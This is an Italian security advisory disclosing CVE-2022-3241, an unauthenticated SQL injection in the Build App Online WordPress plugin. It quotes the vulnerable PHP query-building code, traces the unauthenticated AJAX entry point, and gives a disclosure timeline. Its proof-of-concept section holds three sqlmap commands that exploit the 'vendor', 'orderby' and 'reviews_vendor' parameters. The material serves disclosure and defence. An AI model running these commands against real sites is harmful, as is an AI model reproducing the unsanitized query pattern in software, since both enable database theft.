This article is also available in: English
Build App Online < 1.0.19 - Unauthenticated SQL Injection
Autore
Francesco Marano, Donato Di Pasquale
Prodotto affetto
Build App Online < 1.0.19 (WordPress plugin)
Riferimenti
Descrizione del prodotto
Build App Online è un plugin per WordPress che permette la creazione di un'app mobile basata su Flutter a partire da un blog WordPress o un eCommerce sviluppato con WooCommerce.
Dettagli della vulnerabilità
Analizzando il codice del plugin è stata individuata la funzione get_wcfm_vendor_reviews()
come vulnerabile a SQL injection. In particolare è possibile vedere come la query SQL sia costruita concatenando alcuni parametri senza alcuna sanitizzazione. Di particolare interesse il parametro $the_orderby
che viene direttamente dall'utente tramite $_POST['orderby']
.
Analizzando meglio il codice è possibile notare come anche $reviews_vendor_filter
provenga direttamente dall'utente tramite $_POST['reviews_vendor']
, se specificato, oppure tramite $vendor_id
che proviene da $_REQUEST['vendor']
.
public/class-build-app-online-multivendor.phppublic function get_wcfm_vendor_reviews($vendor_id){ global $WCFM, $wpdb, $_POST, $WCFMmp; //$vendor_id = $vendor_id; //Replace with Request ID if(isset($_REQUEST['vendor'])) { $vendor_id = $_REQUEST['vendor']; } $_POST['length'] = !empty($_REQUEST['per_page']) ? intval($_REQUEST['per_page']) : 10; $_POST['start'] = !empty($_REQUEST['page']) ? ( intval($_REQUEST['page']) - 1 ) * $_POST['length'] : 0; $_POST['orderby'] = !empty($_REQUEST['orderby']) ? sanitize_text_field($_REQUEST['orderby']) : ''; $_POST['order'] = !empty($_REQUEST['order']) ? sanitize_text_field($_REQUEST['order']) : ''; $_POST['status_type'] = !empty($_REQUEST['status_type']) ? sanitize_text_field($_REQUEST['status_type']) : ''; $the_orderby = ! empty( $_POST['orderby'] ) ? sanitize_text_field( $_POST['orderby'] ) : 'ID'; $the_order = ( ! empty( $_POST['order'] ) && 'asc' === $_POST['order'] ) ? 'ASC' : 'DESC'; $length = sanitize_text_field( $_POST['length'] ); $offset = sanitize_text_field( $_POST['start'] ); $reviews_vendor_filter = ''; if( $vendor_id ) { $reviews_vendor_filter = " AND `vendor_id` = " . $vendor_id; } elseif ( ! empty( $_POST['reviews_vendor'] ) ) { $reviews_vendor = sanitize_text_field( $_POST['reviews_vendor'] ); $reviews_vendor_filter = " AND `vendor_id` = {$reviews_vendor}"; } $status_filter = ''; if( isset($_POST['status_type']) && ( $_POST['status_type'] != '' ) ) { $status_filter = sanitize_text_field( $_POST['status_type'] ); if( $status_filter == 'approved' ) { $status_filter = ' AND `approved` = 1'; } elseif( $status_filter == 'pending' ) { $status_filter = ' AND `approved` = 0'; } } $sql = "SELECT * from {$wpdb->prefix}wcfm_marketplace_reviews"; $sql .= " WHERE 1=1"; $sql .= $reviews_vendor_filter; $sql .= $status_filter; $sql .= " ORDER BY `{$the_orderby}` {$the_order}"; $sql .= " LIMIT {$length}"; $sql .= " OFFSET {$offset}"; $wcfm_reviews_array = $wpdb->get_results($sql); wp_send_json($wcfm_reviews_array); }
Stabilito che la funzione get_wcfm_vendor_reviews()
è vulnerabile ripercorriamo a ritroso il codice per capire in che modo richiamarla dall'esterno. Vediamo che la funzione viene richiamata all'interno di get_vendor_reviews()
nel caso in cui sia stato specificato dall'utente il parametro $_REQUEST['vendor']
e che switch ($this->which_vendor())
restituisca la stringa "wcfm"
public/class-build-app-online-multivendor.php
public function get_vendor_reviews() { if(isset($_REQUEST['vendor'])) { $vendor_id = absint($_REQUEST['vendor']); switch ($this->which_vendor()) { case 'dokan': return $this->get_dokan_vendor_reviews($vendor_id); break; case 'wcfm': return $this->get_wcfm_vendor_reviews($vendor_id); break; case 'wc_marketplace': return $this->get_wc_marketplace_vendor_reviews($vendor_id); break; default: wp_send_json(array()); } } else { wp_send_json(array()); } }
Questo avviene quando è installato e attivo il plugin "wc-multivendor-marketplace":
public/class-build-app-online-multivendor.phpprivate function which_vendor() { if ( ! function_exists( 'is_plugin_active' ) ) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if(is_plugin_active( 'dokan-lite/dokan.php') || is_plugin_active( 'dokan/dokan.php' )){ return 'dokan'; } else if(is_plugin_active( 'dc-woocommerce-multi-vendor/dc_product_vendor.php' )){ return 'wc_marketplace'; } else if(is_plugin_active( 'wc-multivendor-marketplace/wc-multivendor-marketplace.php' )){ return 'wcfm'; } else if(is_plugin_active( 'woocommerce-product-vendors/woocommerce-product-vendors.php' )){ return 'product_vendor'; } else return null; }
Stabilito questo proseguiamo nella nostra analisi a ritroso per individuare dove viene richiamata la funzione get_vendor_reviews()
. Questa viene associata a due action AJAX di cui una utilizza il prefisso "wp_ajax_nopriv_", cioè è richiamabile senza alcun tipo di autenticazione.
includes/class-build-app-online.php$this->loader->add_action('wp_ajax_build-app-online-vendor_reviews', $plugin_multivendor, 'get_vendor_reviews'); $this->loader->add_action('wp_ajax_nopriv_build-app-online-vendor_reviews', $plugin_multivendor, 'get_vendor_reviews');
Proof of Concept
È possibile sfruttare la vulnerabilità con SQLMap:
# parametro 'vendor'
$ sqlmap -u 'https://www.target.com/wp-admin/admin-ajax.php?action=build-app-online-vendor_reviews&vendor=1' -p vendor --dbms=mysql --technique=U --union-cols=10 --union-char=0 --level=1 --risk=1
# parametro 'orderby'
$ sqlmap -u 'https://www.target.com/wp-admin/admin-ajax.php?action=build-app-online-vendor_reviews&vendor=1' --data='orderby=ID' -p orderby --dbms=mysql --level=4 --risk=1 --technique=T
# parametro 'reviews_vendor'
$ sqlmap -u 'https://www.target.com/wp-admin/admin-ajax.php?action=build-app-online-vendor_reviews&vendor' --data='reviews_vendor=1' -p reviews_vendor --dbms=mysql --technique=U --union-cols=10 --union-char=0 --level=1 --risk=1
Disclosure timeline
11/09/2022
Vulnerabilità segnalata a WPScan
20/09/2022
Assegnata CVE-2022-3241
02/12/2022
Rilasciata fix ufficiale
06/12/2022
Advisory pubblicato da WPScan
20/12/2022
Pubblicata Proof of Concept (PoC)